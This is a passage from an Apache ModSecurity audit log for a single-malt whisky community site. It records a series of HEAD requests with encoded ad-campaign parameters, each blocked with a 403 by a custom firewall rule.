User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8ef1c427-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8ef1c427-E--

--8ef1c427-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265586223496 6704 (- - -)
Stopwatch2: 1789265586223496 6704; combined=5283, p1=1337, p2=3596, p3=62, p4=7, p5=280, sr=1183, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8ef1c427-Z--

--c2335d71-A--
[13/Sep/2026:05:13:10.134270 +0300] aqYGtkwu1RSkptiiNIXtGwAAAJg 151.243.174.103 49682 127.0.0.1 7081
--c2335d71-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.103
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--c2335d71-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c2335d71-E--

--c2335d71-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265590124991 9334 (- - -)
Stopwatch2: 1789265590124991 9334; combined=7381, p1=802, p2=6081, p3=91, p4=11, p5=395, sr=660, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c2335d71-Z--

--31362e30-A--
[13/Sep/2026:05:13:10.739876 +0300] aqYGtmM7dE9KgIIOpQhcnQAAAMk 95.134.102.162 49684 127.0.0.1 7081
--31362e30-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--31362e30-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--31362e30-E--

--31362e30-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265590727399 12525 (- - -)
Stopwatch2: 1789265590727399 12525; combined=9534, p1=1430, p2=7431, p3=153, p4=16, p5=503, sr=1112, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--31362e30-Z--

--09a1be41-A--
[13/Sep/2026:05:13:11.283536 +0300] aqYGt0wu1RSkptiiNIXtHAAAAIU 151.243.174.116 49686 127.0.0.1 7081
--09a1be41-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.116
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--09a1be41-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--09a1be41-E--

--09a1be41-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265591268684 14900 (- - -)
Stopwatch2: 1789265591268684 14900; combined=11781, p1=1123, p2=9441, p3=142, p4=22, p5=1053, sr=834, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--09a1be41-Z--

--de7abb24-A--
[13/Sep/2026:05:13:44.370538 +0300] aqYG2GM7dE9KgIIOpQhcogAAAMM 91.124.31.214 39356 127.0.0.1 7081
--de7abb24-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.214
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--de7abb24-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--de7abb24-E--

--de7abb24-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265624362548 8048 (- - -)
Stopwatch2: 1789265624362548 8048; combined=6070, p1=292, p2=5367, p3=84, p4=10, p5=317, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--de7abb24-Z--

--93227f23-A--
[13/Sep/2026:05:13:44.723431 +0300] aqYG2GM7dE9KgIIOpQhcowAAANc 91.124.31.100 39368 127.0.0.1 7081
--93227f23-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.100
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--93227f23-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--93227f23-E--

--93227f23-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265624715545 7927 (- - -)
Stopwatch2: 1789265624715545 7927; combined=6498, p1=370, p2=5739, p3=66, p4=6, p5=317, sr=155, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--93227f23-Z--

--ddc8093b-A--
[13/Sep/2026:05:13:45.076792 +0300] aqYG2WM7dE9KgIIOpQhcpAAAANY 91.124.31.125 39374 127.0.0.1 7081
--ddc8093b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.125
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--ddc8093b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ddc8093b-E--

--ddc8093b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265625070665 6165 (- - -)
Stopwatch2: 1789265625070665 6165; combined=4660, p1=682, p2=3648, p3=60, p4=7, p5=262, sr=551, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ddc8093b-Z--

--8da1695f-A--
[13/Sep/2026:05:14:13.559271 +0300] aqYG9TTJ6xTvcJoem7f1SwAAAEY 151.243.174.142 41682 127.0.0.1 7081
--8da1695f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8da1695f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8da1695f-E--

--8da1695f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265653553419 5901 (- - -)
Stopwatch2: 1789265653553419 5901; combined=4349, p1=262, p2=3727, p3=65, p4=7, p5=287, sr=128, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8da1695f-Z--

--35cbce54-A--
[13/Sep/2026:05:14:14.001006 +0300] aqYG9WM7dE9KgIIOpQhcqQAAAMU 95.134.102.250 41690 127.0.0.1 7081
--35cbce54-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--35cbce54-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--35cbce54-E--

--35cbce54-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265653995112 5934 (- - -)
Stopwatch2: 1789265653995112 5934; combined=4245, p1=215, p2=3654, p3=59, p4=5, p5=312, sr=89, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--35cbce54-Z--

--1d279866-A--
[13/Sep/2026:05:14:14.450199 +0300] aqYG9mM7dE9KgIIOpQhcqgAAANA 95.134.102.141 41702 127.0.0.1 7081
--1d279866-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--1d279866-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1d279866-E--

--1d279866-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265654442858 7387 (- - -)
Stopwatch2: 1789265654442858 7387; combined=5661, p1=1050, p2=4234, p3=77, p4=7, p5=292, sr=838, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1d279866-Z--

--6c9cc42b-A--
[13/Sep/2026:05:14:59.550302 +0300] aqYHI2M7dE9KgIIOpQhctAAAAMA 95.134.102.51 42680 127.0.0.1 7081
--6c9cc42b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.51
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6c9cc42b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6c9cc42b-E--

--6c9cc42b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265699542831 7510 (- - -)
Stopwatch2: 1789265699542831 7510; combined=4684, p1=455, p2=3875, p3=66, p4=6, p5=281, sr=200, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c9cc42b-Z--

--49277a7b-A--
[13/Sep/2026:05:15:02.692989 +0300] aqYHJmM7dE9KgIIOpQhctgAAAMU 95.134.102.178 42708 127.0.0.1 7081
--49277a7b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.178
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--49277a7b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--49277a7b-E--

--49277a7b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265702682729 10312 (- - -)
Stopwatch2: 1789265702682729 10312; combined=8416, p1=283, p2=7424, p3=92, p4=10, p5=607, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--49277a7b-Z--

--7936113f-A--
[13/Sep/2026:05:15:05.675265 +0300] aqYHKWM7dE9KgIIOpQhcuwAAANg 95.134.102.154 41452 127.0.0.1 7081
--7936113f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--7936113f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7936113f-E--

--7936113f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265705668287 7026 (- - -)
Stopwatch2: 1789265705668287 7026; combined=5324, p1=225, p2=4232, p3=82, p4=9, p5=775, sr=92, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7936113f-Z--

--e9281453-A--
[13/Sep/2026:05:16:13.632199 +0300] aqYHbUwu1RSkptiiNIXtKQAAAIE 209.101.128.153 46158 127.0.0.1 7081
--e9281453-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e9281453-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e9281453-E--

--e9281453-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265773625590 6648 (- - -)
Stopwatch2: 1789265773625590 6648; combined=4670, p1=298, p2=4011, p3=100, p4=7, p5=254, sr=145, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e9281453-Z--

--34753a7f-A--
[13/Sep/2026:05:16:13.893067 +0300] aqYHbUwu1RSkptiiNIXtKgAAAII 209.101.128.24 46160 127.0.0.1 7081
--34753a7f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--34753a7f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--34753a7f-E--

--34753a7f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265773884184 8970 (- - -)
Stopwatch2: 1789265773884184 8970; combined=6881, p1=464, p2=5746, p3=93, p4=9, p5=568, sr=182, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--34753a7f-Z--

--8da1695f-A--
[13/Sep/2026:05:16:14.144940 +0300] aqYHbkwu1RSkptiiNIXtKwAAAIY 209.101.128.80 46174 127.0.0.1 7081
--8da1695f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.80
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--8da1695f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8da1695f-E--

--8da1695f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265774139265 5736 (- - -)
Stopwatch2: 1789265774139265 5736; combined=4191, p1=319, p2=3555, p3=62, p4=6, p5=249, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8da1695f-Z--

--5d99a165-A--
[13/Sep/2026:05:18:14.893195 +0300] aqYH5jTJ6xTvcJoem7f1UgAAAEM 95.134.102.169 54624 127.0.0.1 7081
--5d99a165-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--5d99a165-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5d99a165-E--

--5d99a165-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265894886968 6266 (- - -)
Stopwatch2: 1789265894886968 6266; combined=4515, p1=326, p2=3887, p3=64, p4=6, p5=232, sr=141, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5d99a165-Z--

--5d99a165-A--
[13/Sep/2026:05:18:15.407374 +0300] aqYH50wu1RSkptiiNIXtMQAAAJM 95.134.102.121 54632 127.0.0.1 7081
--5d99a165-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.121
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--5d99a165-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5d99a165-E--

--5d99a165-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265895400474 6950 (- - -)
Stopwatch2: 1789265895400474 6950; combined=5108, p1=296, p2=4361, p3=75, p4=7, p5=368, sr=150, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5d99a165-Z--

--93c44403-A--
[13/Sep/2026:05:18:16.175463 +0300] aqYH6GM7dE9KgIIOpQhc2gAAAMA 151.243.174.20 52620 127.0.0.1 7081
--93c44403-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.20
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--93c44403-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--93c44403-E--

--93c44403-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265896169869 5633 (- - -)
Stopwatch2: 1789265896169869 5633; combined=4208, p1=220, p2=3665, p3=65, p4=7, p5=251, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

